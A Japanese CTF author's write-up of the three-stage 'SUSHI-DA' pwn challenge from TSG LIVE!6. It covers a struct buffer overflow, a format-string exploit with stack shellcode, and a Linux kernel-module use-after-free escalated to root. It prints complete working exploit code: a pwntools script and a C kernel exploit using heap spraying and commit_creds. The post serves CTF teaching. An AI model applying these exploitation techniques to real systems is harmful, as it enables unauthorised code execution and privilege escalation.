イントロ Link to this heading

いつぞや開催されたTSG LIVE!6 CTF。120 分という超短期間の CTF。pwn を作ったのでその振り返りと live の感想。

問題概要 Link to this heading

Level 1~3 で構成される問題。どのレベルも LKM を利用したプログラムを共通して使っているが、Lv1/2 は LKM を使わなくても(つまり、QEMU 上で走らせなくても)解けるようになっている。 短期間 CTF であり、プレイヤの画面が公開されるという性質上、放送映えするような問題にしたかった。pwn の楽しいところはステップを踏んで exploit していくところだと思っているため、Level 順にプログラムのロジックバイパス・user shell の奪取・root shell の奪取という流れになっている。正直 Level3 は特定の人物を狙い撃ちした問題であり、早解きしてギリギリ 120 分でいけるかなぁ(願望)という難易度になっている。

SUSHI-DA1: logic bypass Link to this heading

static.sh
 1$ file ./client
 2./client: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=982caef5973f267fa669d3922c57233063f709d2, for GNU/Linux 3.2.0, not stripped
 3$ checksec --file ./client
 4[*] '/home/wataru/test/sandbox/client'
 5    Arch:     amd64-64-little
 6    RELRO:    Partial RELRO
 7    Stack:    Canary found
 8    NX:       NX disabled
 9    PIE:      No PIE (0x400000)
10    RWX:      Has RWX segments

冷え防止の問題。テーマは寿司打というタイピングゲーム。

client.c
 1  struct {
 2    unsigned long start, result;
 3    char type[MAX_LENGTH + 0x20];
 4    int pro;
 5  } info = {0};
 6 (snipped...)
 7  info.result = time(NULL) - info.start;
 8  puts("\n[ENTER] again to finish!");
 9  readn(info.type, 0x200);
10
11  printf("\n🎉🎉🎉Congrats! You typed in %lu secs!🎉🎉🎉\n", info.result);
12  register_record(info.result);
13  if(info.pro != 0) system("cat flag1");

クリアした後に ENTER を受け付ける箇所があるが、ここでバッファサイズの 200+の代わりに 0x200 を受け付けてしまっているためstruct info内で BOF が発生しinfo.proを書き換えられる。

SUSHI-DA2: user shell Link to this heading

client.c
 1  while(success < 3){
 2    unsigned question = rand() % 4;
 3    if(wordlist[question][0] == '\x00') continue;
 4    printf("[TYPE]\n");
 5    printf(wordlist[question]); puts("");
 6    readn(info.type, 200);
 7    if(strncmp(wordlist[question], info.type, strlen(wordlist[question])) != 0)  warn_ret("🙅‍🙅 ACCURACY SHOULD BE MORE IMPORTANT THAN SPEED.");
 8    ++success;
 9  }
10(snipped...)
11void add_phrase(void){
12  char *buf = malloc(MAX_LENGTH + 0x20);
13  printf("[NEW PHRASE] ");
14  readn(buf, MAX_LENGTH - 1);
15  for(int ix=0; ix!=MAX_LENGTH-1; ++ix){
16    if(buf[ix] == '\xa') break;
17    memcpy(wordlist[3]+ix, buf+ix, 1);
18  }
19}

タイピングのお題を 1 つだけカスタムできるが、お題の表示に FSB がある。これで stack の leak ができる。 この後の方針は大きく分けて 2 つある。1 つ目は、stack が RWX になっているため stack に shellcode を積んだ上で RA を FSB で書き換えて shell を取る方法。この場合、FSA の入力と発火するポイントが異なるため、FSA で必要な準備(書き換え対象の RA があるアドレスを stack に積む必要がある)は main 関数の stack に積んでおくことになる。また、発火に時間差があるという都合上、単純に pwntools を使うだけでは解くことができない。

client.c
1int main(int argc, char *argv[]){
2  char buf[0x100];
3  srand(time(NULL));
4  setup();
5
6  while(1==1){
7    printf("\n\n$ ");
8    if (readn(buf, 100) <= 0) die("[ERROR] readn");

2 つ目は、canary だけリークしてあとは通常の BOF で ROP するという方法。こっちのほうが多分楽。正直、canary は leak できない感じの設定にしても良かった(buf サイズを調整)が、200 と 0x200 を打ち間違えたという雰囲気を出したかった都合上、canary の leak+ROP までできるくらいの設定になった。

SUSHI-DA3: root shell Link to this heading

ここまでで user shell がとれているため、今度は LKM のバグをついて root をとる。バグは以下。

sushi-da.c
 1long clear_old_records(void)
 2{
 3  int ix;
 4  char tmp[5] = {0};
 5  long date;
 6  for(ix=0; ix!=SUSHI_RECORD_MAX; ++ix){
 7    if(records[ix] == NULL) continue;
 8    strncpy(tmp, records[ix]->date, 4);
 9    if(kstrtol(tmp, 10, &date) != 0 || date <= 1990) kfree(records[ix]);
10  }
11  return 0;
12}

タイピングゲームの記録を LKM を使って記録しているのだが、古いレコード(1990 年以前)と不正なレコードを削除する関数において kfree したあとの値をクリアしていない。これにより kUAF が生じる。 SMEP/SMAP 無効 KAISER 無効であるため、あとは割と任意のことができる。edit がないことや kmalloc ではなく kzalloc が使われているのがちょっと嫌な気もするが、実際は double free もあるためseq_operationsで leak したあとに再びそれを record として利用することで RIP を取ることができる。

full exploit Link to this heading

exploit.py
  1#!/usr/bin/python2
  2# -*- coding: utf-8 -*-
  3
  4# coding: 4 spaces
  5
  6# Copyright 2020 Google LLC
  7#
  8# Licensed under the Apache License, Version 2.0 (the "License");
  9# you may not use this file except in compliance with the License.
 10# You may obtain a copy of the License at
 11#
 12#     https://www.apache.org/licenses/LICENSE-2.0
 13#
 14# Unless required by applicable law or agreed to in writing, software
 15# distributed under the License is distributed on an "AS IS" BASIS,
 16# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 17# See the License for the specific language governing permissions and
 18# limitations under the License.
 19
 20from pwn import *
 21import pwnlib
 22import sys, os
 23
 24def handle_pow(r):
 25    print(r.recvuntil(b'python3 '))
 26    print(r.recvuntil(b' solve '))
 27    challenge = r.recvline().decode('ascii').strip()
 28    p = pwnlib.tubes.process.process(['kctf_bypass_pow', challenge])
 29    solution = p.readall().strip()
 30    r.sendline(solution)
 31    print(r.recvuntil(b'Correct\n'))
 32
 33hosts = ("sushida.pwn.hakatashi.com","localhost","localhost")
 34ports = (1337,12300,23947)
 35rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
 36rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
 37rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
 38context(os='linux',arch='amd64')
 39#binf = ELF(FILENAME)
 40#libc = ELF(LIBCNAME) if LIBCNAME!="" else None
 41
 42
 43## utilities #########################################
 44
 45def hoge(command):
 46  global c
 47  c.recvuntil("$ ")
 48  c.sendline(command)
 49
 50def typin():
 51  c.recvuntil("[TYPE]")
 52  c.recvline()
 53  c.sendline(c.recvline().rstrip())
 54
 55def play_clear(avoid_nirugiri=True):
 56  global c
 57  hoge("play")
 58  for _ in range(3):
 59    typin()
 60
 61def custom(phrase):
 62  global c
 63  hoge("custom")
 64  c.recvuntil("[NEW PHRASE] ")
 65  c.sendline(phrase)
 66
 67def custom_wait_NIRUGIRI(pay, append_nirugiri=True):
 68  global c
 69  print("[.] waiting luck...")
 70  res = ""
 71  found = False
 72  if append_nirugiri:
 73    custom("NIRUGIRI" + pay)
 74  else:
 75    custom(pay)
 76
 77  while True:
 78    hoge("play")
 79    for _ in range(3):
 80      c.recvuntil("[TYPE]")
 81      c.recvline()
 82      msg = c.recvline().rstrip()
 83      if "NIRUGIRI" in msg:
 84        found = True
 85        res = msg
 86        if append_nirugiri:
 87          c.sendline("NIRUGIRI"+pay)
 88        else:
 89          c.sendline(pay)
 90      else:
 91        c.sendline(msg)
 92    c.recvuntil("ENTER")
 93    c.sendline("")
 94    if found:
 95      break
 96
 97  return res[len("NIRUGIRI"):]
 98
 99def inject_wait_NIRUGIRI(pay):
100  global c
101  print "[.] injecting and waiting luck",
102  res = ""
103  found = False
104  aborted = False
105  custom(pay)
106
107  while True:
108    hoge("play")
109    for _ in range(3):
110      c.recvuntil("[TYPE]")
111      c.recvline()
112      msg = c.recvline().rstrip()
113      if "NIRUGIRI" in msg:
114        print("\n[!] FOUND")
115        c.sendline("hey")
116        return
117      else:
118        print ".",
119        c.sendline(msg)
120    if aborted:
121      aborted = False
122      continue
123    c.sendline("")
124
125## exploit ###########################################
126
127def exploit():
128  global c
129  global kctf
130  MAX_TYPE = 200
131
132  ##############################
133  #  LEVEL 1                   #
134  ##############################
135  # overwrite info.pro
136  play_clear()
137  c.recvuntil("ENTER")
138  c.sendline("A"*0xf8)
139  c.recvuntil("typed")
140  c.recvline()
141  flag1 = c.recvline().rstrip()
142  if "TSGLIVE" not in flag1:
143      exit(1)
144  print("\n[!] Got a flag1 🎉🎉🎉 " + flag1)
145
146  ###############################
147  ##  LEVEL 2                   #
148  ###############################
149  SC_START = 0x50
150  pay = b""
151
152  # leak stack
153  pay += "%42$p"
154  leaked = int(custom_wait_NIRUGIRI(pay), 16)
155  ra_play_game = leaked - 0x128
156  buf_top = leaked - 0x230
157  target_addr = ra_play_game + 0x38
158  print("[+] leaked stack: " + hex(leaked))
159  print("[+] ra_play_game: " + hex(ra_play_game))
160  print("[+] buf_top: " + hex(buf_top))
161  pay_index = 47
162
163  # calc
164  v0 = target_addr & 0xFFFF
165  v1 = (target_addr >> 16) & 0xFFFF
166  v2 = (target_addr >> 32) & 0xFFFF
167  assert(v0>8 and v1>8 and v2>8)
168  vs = sorted([[0,v0],[1,v1],[2,v2]], key= lambda l: l[1])
169
170  # place addr & sc
171  sc = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
172  c.recvuntil("$ ")
173  pay = b""
174  pay += "A"*8
175  pay += p64(ra_play_game) + p64(ra_play_game+2) + p64(ra_play_game+4)
176  pay += sc
177  assert(len(pay) <= 0x50)
178  assert("\x0a" not in pay)
179  c.sendline(pay)
180
181  # overwrite return-addr with FSA
182  pay = b""
183  pay += "NIRUGIRI"
184  pay += "%{}c".format(vs[0][1]-8)
185  pay += "%{}$hn".format(pay_index + vs[0][0])
186  pay += "%{}c".format(vs[1][1] - vs[0][1])
187  pay += "%{}$hn".format(pay_index + vs[1][0])
188  pay += "%{}c".format(vs[2][1] - vs[1][1])
189  pay += "%{}$hn".format(pay_index + vs[2][0])
190  assert("\x0a" not in pay)
191  assert(len(pay) < MAX_TYPE)
192  print("[+] shellcode placed @ " + hex(target_addr))
193
194  # nirugiri
195  inject_wait_NIRUGIRI(pay) # if NIRUGIRI comes first, it fails
196  c.sendlineafter("/home/user $", "cat ./flag2")
197  flag2 = c.recvline()
198  if "TSGLIVE" not in flag2:
199      exit(2)
200  print("\n[!] Got a flag2 🎉🎉🎉 " + flag2)
201
202  ##############################
203  #  LEVEL 3                   #
204  ##############################
205  # pwning kernel...
206  c.recvuntil("/home/user")
207  print("[!] pwning kernel...")
208  if kctf:
209    with open("/home/user/exploit.gz.b64", 'r') as f:
210      binary = f.read()
211  else:
212    with open("./exploit.gz.b64", 'r') as f:
213      binary = f.read()
214
215  progress = 0
216  pp = 0
217  N = 0x300
218  total = len(binary)
219  print("[+] sending base64ed exploit (total: {})...".format(hex(len(binary))))
220  for s in [binary[i: i+N] for i in range(0, len(binary), N)]:
221    c.sendlineafter('$', 'echo -n "{}" >> exploit.gz.b64'.format(s)) # don't forget -n
222    progress += N
223    if (float(progress) / float(total)) > pp:
224      pp += 0.1
225      print("[.] sent {} bytes [{} %]".format(hex(progress), float(progress)*100.0/float(total)))
226  c.sendlineafter('$', 'base64 -d exploit.gz.b64 > exploit.gz')
227  c.sendlineafter('$', 'gunzip ./exploit.gz')
228
229  c.sendlineafter('$', 'chmod +x ./exploit')
230  c.sendlineafter('$', '/home/user/exploit')
231
232  c.recvuntil("# ")
233  c.sendline("cat flag3")
234  flag3 = c.recvline()
235  if "TSGLIVE" not in flag3:
236      exit(3)
237  print("\n[!] Got a flag3 🎉🎉🎉 " + flag3)
238
239
240## main ##############################################
241
242if __name__ == "__main__":
243    global c
244    global kctf
245    kctf = False
246
247    if len(sys.argv)>1:
248      if sys.argv[1][0]=="d":
249        cmd = """
250          set follow-fork-mode parent
251        """
252        c = gdb.debug(FILENAME,cmd)
253      elif sys.argv[1][0]=="r":
254        c = remote(rhp1["host"],rhp1["port"])
255      elif sys.argv[1][0]=="v":
256        c = remote(rhp3["host"],rhp3["port"])
257      elif sys.argv[1][0]=="k":
258        c = remote("127.0.0.1", 1337) # kctf XXX
259        kctf = True
260        print("[+] kctf healthcheck mode")
261        print(c.recvuntil("== proof-of-work: "))
262        if c.recvline().startswith(b'enabled'):
263          handle_pow(c)
264    else:
265        c = remote(rhp2['host'],rhp2['port'])
266
267    try:
268        exploit()
269    except:
270        print("\n")
271        print(sys.exc_info()[0], sys.exc_info()[1])
272        print("\n[?] exploit failed... try again...")
273        exit(4)
274    if kctf:
275        print("\n[+] healthcheck success!")
276        exit(0)
277    else:
278        c.interactive()

kernel.

exploit.c
  1#define _GNU_SOURCE
  2#include <string.h>
  3#include <stdio.h>
  4#include <fcntl.h>
  5#include <stdint.h>
  6#include <unistd.h>
  7#include <assert.h>
  8#include <stdlib.h>
  9#include <signal.h>
 10#include <poll.h>
 11#include <pthread.h>
 12#include <err.h>
 13#include <errno.h>
 14#include <sched.h>
 15#include <linux/bpf.h>
 16#include <linux/filter.h>
 17#include <linux/userfaultfd.h>
 18#include <linux/prctl.h>
 19#include <sys/syscall.h>
 20#include <sys/ipc.h>
 21#include <sys/msg.h>
 22#include <sys/ioctl.h>
 23#include <sys/mman.h>
 24#include <sys/types.h>
 25#include <sys/xattr.h>
 26#include <sys/socket.h>
 27#include <sys/uio.h>
 28#include <sys/shm.h>
 29
 30#include "../include/sushi-da.h"
 31
 32
 33// commands
 34#define DEV_PATH "/dev/sushi-da"   // the path the device is placed
 35
 36// constants
 37#define PAGE 0x1000
 38#define FAULT_ADDR 0xdead0000
 39#define FAULT_OFFSET PAGE
 40#define MMAP_SIZE 4*PAGE
 41#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
 42// (END constants)
 43
 44// globals
 45// (END globals)
 46
 47
 48// utils
 49#define WAIT getc(stdin);
 50#define ulong unsigned long
 51#define scu static const unsigned long
 52#define NULL (void*)0
 53#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
 54                        } while (0)
 55#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
 56                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
 57ulong user_cs,user_ss,user_sp,user_rflags;
 58struct pt_regs {
 59	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
 60	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
 61	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
 62	ulong orig_ax; ulong ip; ulong cs; ulong flags;
 63  ulong sp; ulong ss;
 64};
 65void print_regs(struct pt_regs *regs)
 66{
 67  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
 68  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
 69  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
 70  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
 71  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
 72}
 73void NIRUGIRI(void)
 74{
 75  puts("[!] NIRUGIRI!");
 76  char *argv[] = {"/bin/sh", NULL};
 77  char *envp[] = {NULL};
 78  puts("\n\n Got a root! 🎉🎉🎉");
 79  execve("/bin/sh",argv,envp);
 80}
 81
 82// should compile with -masm=intel
 83static void save_state(void) {
 84  asm(
 85      "movq %0, %%cs\n"
 86      "movq %1, %%ss\n"
 87      "movq %2, %%rsp\n"
 88      "pushfq\n"
 89      "popq %3\n"
 90      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 91}
 92
 93ulong kernbase;
 94ulong commit_creds, prepare_kernel_cred;
 95
 96static void shellcode(void){
 97  ulong init_cred;
 98  asm(
 99    "mov %%rdi, 0x0\n"
100    "call %P1\n"
101    "movq %0, %%rax"
102    : "=r" (init_cred) : "r" ((void*)prepare_kernel_cred) : "memory"
103  );
104  asm(
105      "mov %%rdi, %0\n"
106      "call %P1\n"
107      ::"r"((void *)init_cred), "r"((void *)commit_creds) : "memory"
108  );
109  asm(
110      "swapgs\n"
111      "mov %%rax, %0\n"
112      "push %%rax\n"
113      "mov %%rax, %1\n"
114      "push %%rax\n"
115      "mov %%rax, %2\n"
116      "push %%rax\n"
117      "mov %%rax, %3\n"
118      "push %%rax\n"
119      "mov %%rax, %4\n"
120      "push %%rax\n"
121      "iretq\n"
122      ::"r"(user_ss), "r"(user_sp), "r"(user_rflags), "r"(user_cs), "r"(&NIRUGIRI) : "memory"
123    );
124}
125// (END utils)
126
127void register_record(int fd, int score, char *date){
128  struct ioctl_register_query  q = {
129    .record = {.result = score,},
130  };
131  strncpy(q.record.date, date, 0x10);
132  if(ioctl(fd, SUSHI_REGISTER_RECORD, &q) < 0){
133    errExit("register_record()");
134  }
135}
136
137void fetch_record(int fd, int rank, struct record *record){
138  struct ioctl_fetch_query q = {
139    .rank = rank,
140  };
141  if(ioctl(fd, SUSHI_FETCH_RECORD, &q) < 0){
142    errExit("fetch_record()");
143  }
144  memcpy(record, &q.record, sizeof(struct record));
145}
146
147void clear_record(int fd){
148  if(ioctl(fd, SUSHI_CLEAR_OLD_RECORD, NULL) < 0){
149    errExit("clear_record()");
150  }
151}
152
153void show_rankings(int fd){
154  struct ioctl_fetch_query q;
155  for (int ix = 0; ix != 3; ++ix){
156    q.rank = ix + 1;
157    if (ioctl(fd, SUSHI_FETCH_RECORD, &q) < 0) break;
158    printf("%d: %ld sec : %s\n", ix + 1, q.record.result, q.record.date);
159  }
160}
161
162void clear_all_records(int fd){
163  if(ioctl(fd, SUSHI_CLEAR_ALL_RECORD, NULL) < 0){
164    errExit("clear_all_records()");
165  }
166}
167
168int main(int argc, char *argv[]) {
169  char inbuf[0x200];
170  char outbuf[0x200];
171  int seqfd;
172  int tmpfd[0x90];
173  memset(inbuf, 0, 0x200);
174  memset(outbuf, 0, 0x200);
175  printf("[.] pid: %d\n", getpid());
176  printf("[.] NIRUGIRI at %p\n", &NIRUGIRI);
177  printf("[.] shellcode at %p\n", &shellcode);
178  int fd = open(DEV_PATH, O_RDWR);
179  if(fd <= 2){
180    perror("[ERROR] failed to open mora");
181    exit(0);
182  }
183  clear_all_records(fd);
184
185  struct record r;
186  struct record r1 = {
187    .result = 1,
188    .date = "1930/03/12",
189  };
190
191  // heap spray
192  puts("[.] heap spraying...");
193  for (int ix = 0; ix != 0x90; ++ix)
194  {
195    tmpfd[ix] = open("/proc/self/stat", O_RDONLY);
196  }
197
198  // leak kernbase
199  puts("[.] generating kUAF...");
200  register_record(fd, r1.result, r1.date);
201  clear_record(fd);
202  if((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0){
203    errExit("open seq_operations");
204  }
205  fetch_record(fd, 1, &r);
206
207  const ulong _single_start = *((long*)r.date);
208  const ulong kernbase = _single_start - 0x194090;
209  printf("[+] single_start: %lx\n", _single_start);
210  printf("[+] kernbase: %lx\n", kernbase);
211  commit_creds = kernbase + 0x06cd00;
212  printf("[!] commit_creds: %lx\n", commit_creds);
213  prepare_kernel_cred = kernbase + 0x6d110;
214  printf("[!] prepare_kernel_cred: %lx\n", prepare_kernel_cred);
215
216  // double free
217  struct record r2 = {
218    .result = 3,
219  };
220  *((ulong*)r2.date) = &shellcode;
221  clear_record(fd);
222  register_record(fd, r2.result, r2.date);
223
224  // get RIP
225  save_state();
226  for (int ix = 0; ix != 0x80; ++ix){
227    close(tmpfd[0x90 - 1 - ix]);
228  }
229  read(seqfd, inbuf, 0x10);
230
231  return 0;
232}

Makefile

Makefile
 1# exploit
 2$(EXP)/exploit: $(EXP)/exploit.c
 3	docker run -it --rm -v "$$PWD:$$PWD" -w "$$PWD" alpine /bin/sh -c 'apk add gcc musl-dev linux-headers && $(CC) $(CPPFLAGS) $<'
 4	#$(CC) $(CPPFLAGS) $<
 5	strip $@
 6
 7.INTERMEDIATE: $(EXP)/exploit.gz
 8$(EXP)/exploit.gz: $(EXP)/exploit
 9	gzip $<
10$(EXP)/exploit.gz.b64: $(EXP)/exploit.gz
11	base64 $< > $@
12exp: $(EXP)/exploit.gz.b64

感想 Link to this heading

まずは、参加してくださった方々、とりわけ外部ゲストの方々ありがとうございました。超強豪が問題を解いている画面を見れるなんて滅多にないので、裏でかなり興奮していました。 特に @pwnyaa さんが残り 3 分くらいで root shell を取ったところは感動モノでした。wget を入れていなかったことや、サーバが本当の最後の数分間に調子が悪かったらしいこともあって足を引っ張ってしまって申し訳ないです。。。

今回の作問は、ステップを登っていく楽しさは味わえるようにしながら、ライブなので冷えすぎないように調整することが大事だったと思います。最初はそのコンセプトのもとにプログラムも 80-90 行くらいで収まるようにしていたのですが、あまりにも意味のないプログラムになりすぎたのでボツにして寿司打にしました(最初は cowsay をもじった morasay という問題でした)。その結果として 100 行を超えてしまったのですが、個人的に少し長いプログラムよりもなにをしているかわからないプログラムのほうが読むの苦手なので寿司打におちつきました(それでもレコードを LKM に保存するの、意味わからんけど)。難易度に関しては、Lv1/2 はライブ用にしましたが、Lv3 は外部用の挑戦問題にしました。ただ、userland 側のコードの多さゆえにミスリードが何箇所か存在していたらしく、それのせいで数分奪われてしまい解ききれないという人もいたと思うので、やっぱりシンプルさは大事だなぁと反省しました。

今回の pwn に関しては、kCTF でデプロイしています。ただ、k8s よくわからんので、実際に運用しているときにトラブルが発生して迅速に対応できるかと言うと、僕の場合は No です。また、kCTF には healthcheck を自動化してくれるフレームワークが有るため exploit を healthcheck できるような形式で書いたりする必要があります(今回はそんなに手間ではありませんでしたが、上の exploit コードの 1/3 くらいは冗長だと思います)。今回も healthcheck は走ってたらしいですが、なにせ status バッジがないためあんまり意味があったかはわかりません。 余談ですが、kCTF で権限を落とすのに使われている setpriv ですが、apt リポジトリの setpriv を最新の kernel で使うことはできません。というのも、古い setpriv は/proc/sys/kernel/cap_last_capから入手した cap 数とlinux/include内で定義されている cap 数を比べて assert しているようなので。

a.sh
1wataru@skbpc:~/test/sandbox/ctf-directory/chal-sample: 15:41:59 Wed May 05
2$ cat /proc/sys/kernel/cap_last_cap
339
4wataru@skbpc:~/test/sandbox/ctf-directory/chal-sample: 15:42:11 Wed May 05
5$ cat /usr/include/linux/capability.h | grep CAP_LAST_CAP -B5
6/* Allow reading the audit log via multicast netlink socket */
7#define CAP_AUDIT_READ          37
8#define CAP_LAST_CAP         CAP_AUDIT_READ

最新の kernel では CAP_BPF と CAP_PERFMON が追加されているため差分が生じて assert に失敗してしまいます。最新の setpriv ではcap_last_capを全面的に信用することにしたらしいので、大丈夫なようです。

a.c
1/* We can trust the return value from cap_last_cap(),
2  * so use that directly. */
3for (i = 0; i <= cap_last_cap(); i++)
4  cap_update(action, type, i);

実際にデプロイするときは kernel の ver 的に大丈夫でしたが、local で試すときには最新版の setpriv をソースからビルドして使いました。

あと毎回思うんですが、pwn の読み方はぽうんではなくぱうんだと思います。

まぁなにはともあれ live-ctf も終わりです。

参考 Link to this heading